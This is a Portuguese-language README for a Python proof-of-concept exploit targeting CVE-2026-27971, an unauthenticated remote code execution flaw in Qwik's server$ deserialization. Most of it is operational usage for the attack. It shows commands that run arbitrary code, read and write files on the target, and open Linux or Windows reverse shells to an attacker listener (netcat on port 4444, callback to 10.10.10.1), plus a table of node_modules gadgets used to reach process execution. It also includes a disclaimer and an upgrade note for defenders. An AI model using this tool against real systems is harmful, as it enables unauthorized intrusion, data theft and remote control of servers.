
CVE-2026-27971 qwik rce
server$[!WARNING] Este repositório contém uma prova de conceito ativa de execução remota de código. Utilize-a apenas em sistemas que você possua ou para os quais tenha autorização explícita para testar. O autor não se responsabiliza por uso não autorizado ou danos.
Uma prova de conceito independente em Python para CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, uma vulnerabilidade de execução remota de código não autenticada no mecanismo de desserialização RPC server$ do Qwik.
O PoC pode realizar uma sondagem ativa por marcador, executar comandos, ler ou gravar arquivos de texto e solicitar um reverse shell em alvos Linux ou Windows. Ele utiliza apenas a biblioteca padrão do Python.
| Campo | Valor |
|---|---|
| Produto | Qwik — pacote npm @builder.io/qwik |
| Versões afetadas | <= 1.19.0 |
| Versão corrigida | 1.19.1 |
| Vulnerabilidade | Execução remota de código não autenticada por meio da desserialização insegura do server$ |
| Condição de runtime | require() deve estar disponível em tempo de execução |
| CWE | CWE-502 — Desserialização de Dados Não Confiáveis |
| Gravidade | Crítica — CVSS 4.0: 9.2 |
| Vetor | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Uma solicitação application/qwik-json malformada pode referenciar um módulo do lado do servidor e um símbolo exportado. Versões vulneráveis do Qwik podem resolver um QRL não registrado por meio do require() em tempo de execução e invocá-lo sem autenticação. Este PoC tenta alcançar uma exportação compatível de execução de processo já presente no node_modules do alvo.
Operador:
server$/Qwik JSON.Alvo:
@builder.io/qwik <= 1.19.0.require() esteja disponível.node_modules.node disponível no PATH do processo do serviço.Nenhum pacote Python de terceiros é necessário.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Liste os gadgets integrados sem enviar uma solicitação:
python3 exploit_combat.py --list-gadgets
Execute uma sondagem ativa por marcador e experimente todos os gadgets integrados:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probenão é detecção passiva de versão. Ele tenta executar código remotamente e confirma isso imprimindo um marcador do processo do alvo.
Execute um comando:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Leia um arquivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Grave e verifique um arquivo de texto UTF-8:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Solicite um reverse shell após iniciar um listener persistente:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Force o payload de reverse shell do Windows quando a detecção automática do SO for inadequada:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
O script não inicia um listener. A verificação prévia de --callback abre e fecha uma conexão TCP separada antes de enviar o payload do shell; portanto, use um listener que possa aceitar mais de uma conexão.
Os modos de ação não são mutuamente exclusivos no parser. Use um de --probe, --CMD, --read, --write ou --lhost por invocação.
--gadget auto testa esses gadgets na ordem listada. Um gadget personalizado pode ser fornecido da seguinte forma:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync, e não a descoberta automática. Use --gadget auto quando o layout de dependências do alvo for desconhecido.--read espera UTF-8 e --write não se destina a dados binários.--rev-all pode iniciar vários processos ou callbacks no alvo. Use-o apenas em um laboratório isolado.Atualize @builder.io/qwik para 1.19.1 ou posterior, atualize o lockfile, recompile o aplicativo e reimplante todos os artefatos do servidor. Remover um gadget compatível por si só não é uma correção completa para a vulnerabilidade subjacente do Qwik.
Este projeto é fornecido para pesquisa de segurança, validação defensiva e testes autorizados. Não o utilize contra sistemas sem permissão explícita.
| Opção | Descrição |
|---|
-t URL, --target URL | URL exata do alvo. Padrão: http://localhost:3000. A rota não é descoberta automaticamente. |
--probe | Executar ativamente um payload de marcador e tentar a detecção do SO. |
-c CMD, --CMD CMD | Executar um comando por meio de child_process.execSync() do Node.js. |
--read PATH | Ler um arquivo de texto UTF-8 usando fs.readFileSync(). |
--write PATH --content TEXT | Gravar um arquivo de texto, lê-lo novamente e comparar o resultado. Os diretórios pais não são criados. |
--list-gadgets | Imprimir os nomes dos gadgets integrados e sair sem uma solicitação de rede. |
--lhost IP | Ativar o modo reverse shell e definir o endereço de callback. |
--lport PORT | Definir a porta de callback. Padrão: 4444. |
--rev-all | Enviar todas as variantes de reverse shell em vez de parar após a primeira solicitação HTTP aceita. |
--callback | Testar a acessibilidade TCP de saída antes de enviar um payload de reverse shell. |
--OS {auto,linux,windows} | Selecionar a família de payloads de reverse shell. Padrão: auto. |
--gadget SPEC | Usar auto, um nome integrado ou um gadget personalizado <module>#<symbol>. Padrão: cross-spawn.sync. |
--arg-style {argv,command,shell} | Estilo de argumento para um gadget personalizado <module>#<symbol>. |
--timeout SECONDS | Tempo limite HTTP do lado do cliente. Padrão: 30. |
--verify-ssl | Ativar a verificação de certificado TLS e nome de host. A verificação fica desabilitada por padrão. |
| Nome | Módulo e exportação | Estilo |
|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |